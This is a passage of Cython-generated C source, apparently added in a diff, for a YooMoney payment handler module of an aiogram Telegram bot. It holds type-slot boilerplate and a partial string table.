__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_spec = { + "handlers.payments.yoomoney_pay.__pyx_scope_struct_3_process_enter_custom_amount", + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yoomoney_pay.""__pyx_scope_struct_3_process_enter_custom_amount", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_account_id); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_customer_id); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input[__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)o; + if (p->__pyx_v_account_id) { + e = (*v)(p->__pyx_v_account_id, a); if (e) return e; + } + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_customer_id) { + e = (*v)(p->__pyx_v_customer_id, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_spec = { + "handlers.payments.yoomoney_pay.__pyx_scope_struct_4_process_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yoomoney_pay.""__pyx_scope_struct_4_process_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_Account_ID, __pyx_k_Account_ID, sizeof(__pyx_k_Account_ID), 0, 1, 0, 0}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_n_u_HASHHASHYOOKASSA, __pyx_k_HASHHASHYOOKASSA, sizeof(__pyx_k_HASHHASHYOOKASSA), 0, 1, 0, 1}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardMarkup, __pyx_k_InlineKeyboardMarkup, sizeof(__pyx_k_InlineKeyboardMarkup), 0, 0, 1, 1}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Response, __pyx_k_Response, sizeof(__pyx_k_Response), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_kp_u_Webhook_event_received, __pyx_k_Webhook_event_received, sizeof(__pyx_k_Webhook_event_received), 0, 1, 0, 0}, + {&__pyx_n_s_YOOKASSA_HASH, __pyx_k_YOOKASSA_HASH, sizeof(__pyx_k_YOOKASSA_HASH), 0, 0, 1, 1}, + {&__pyx_kp_u_YOOKASSA_HASH_2, __pyx_k_YOOKASSA_HASH_2, sizeof(__pyx_k_YOOKASSA_HASH_2), 0, 1, 0, 0}, + {&__pyx_n_s_YOOMONEY_ENABLE, __pyx_k_YOOMONEY_ENABLE, sizeof(__pyx_k_YOOMONEY_ENABLE), 0, 0, 1, 1}, + {&__pyx_n_s_YOOMONEY_ID, __pyx_k_YOOMONEY_ID, sizeof(__pyx_k_YOOMONEY_ID), 0, 0, 1, 1}, + {&__pyx_n_s_YOOMONEY_SECRET_KEY, __pyx_k_YOOMONEY_SECRET_KEY, sizeof(__pyx_k_YOOMONEY_SECRET_KEY), 0, 0, 1, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, + {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, + {&__pyx_n_s__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 0, 1, 1}, + {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, + {&__pyx_n_s__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 0, 1, 1}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_n_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 1}, + {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, + {&__pyx_n_s_account_id, __pyx_k_account_id, sizeof(__pyx_k_account_id), 0, 0, 1, 1}, + {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_n_u_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 1, 0, 1}, + {&__pyx_kp_u_amount_2, __pyx_k_amount_2, sizeof(__pyx_k_amount_2), 0, 1, 0, 0}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_calculated_hash, __pyx_k_calculated_hash, sizeof(__pyx_k_calculated_hash), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_check_connection_exists, __pyx_k_check_connection_exists, sizeof(__pyx_k_check_connection_exists), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_yoomoney, __pyx_k_choosing_amount_yoomoney, sizeof(__pyx_k_choosing_amount_yoomoney), 0, 0, 1, 1}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_u_codepro, __pyx_k_codepro, sizeof(__pyx_k_codepro), 0, 1, 0, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_confirm_keyboard, __pyx_k_confirm_keyboard, sizeof(__pyx_k_confirm_keyboard), 0, 0, 1, 1}, + {&__pyx_n_u_currency, __pyx_k_currency, sizeof(__pyx_k_currency), 0, 1, 0, 1}, + {&__pyx_n_s_customer_id, __pyx_k_customer_id, sizeof(__pyx_k_customer_id), 0, 0, 1, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_u_datetime, __pyx_k_datetime, sizeof(__pyx_k_datetime), 0, 1, 0, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_u_enter_custom_amount_yoomoney, __pyx_k_enter_custom_amount_yoomoney, sizeof(__pyx_k_enter_custom_amount_yoomoney), 0, 1, 0, 1}, + {&__pyx_n_s_entering_custom_amount_yoomoney, __pyx_k_entering_custom_amount_yoomoney, sizeof(__pyx_k_entering_custom_amount_yoomoney), 0, 0, 1, 1}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, + {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_yoomoney_pay, __pyx_k_handlers_payments_yoomoney_pay, sizeof(__pyx_k_handlers_payments_yoomoney_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_k_handlers_payments_yoomoney_pay_p, sizeof(__pyx_k_handlers_payments_yoomoney_pay_p), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_n_s_hashlib, __pyx_k_hashlib, sizeof(__pyx_k_hashlib), 0, 0, 1, 1}, + {&__pyx_n_s_hexdigest, __pyx_k_hexdigest, sizeof(__pyx_k_hexdigest), 0, 0, 1, 1}, + {&__pyx_kp_u_https_yoomoney_ru_quickpay_confi, __pyx_k_https_yoomoney_ru_quickpay_confi, sizeof(__pyx_k_https_yoomoney_ru_quickpay_confi), 0, 1, 0, 0}, + {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_initializing, __pyx_k_initializing, sizeof(__pyx_k_initializing), 0, 0, 1, 1}, + {&__pyx_n_s_inline_keyboard, __pyx_k_inline_keyboard, sizeof(__pyx_k_inline_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_isdigit, __pyx_k_isdigit, sizeof(__pyx_k_isdigit), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_key_count, __pyx_k_key_count, sizeof(__pyx_k_key_count), 0, 0, 1, 1}, + {&__pyx_n_u_label, __pyx_k_label, sizeof(__pyx_k_label), 0, 1, 0, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 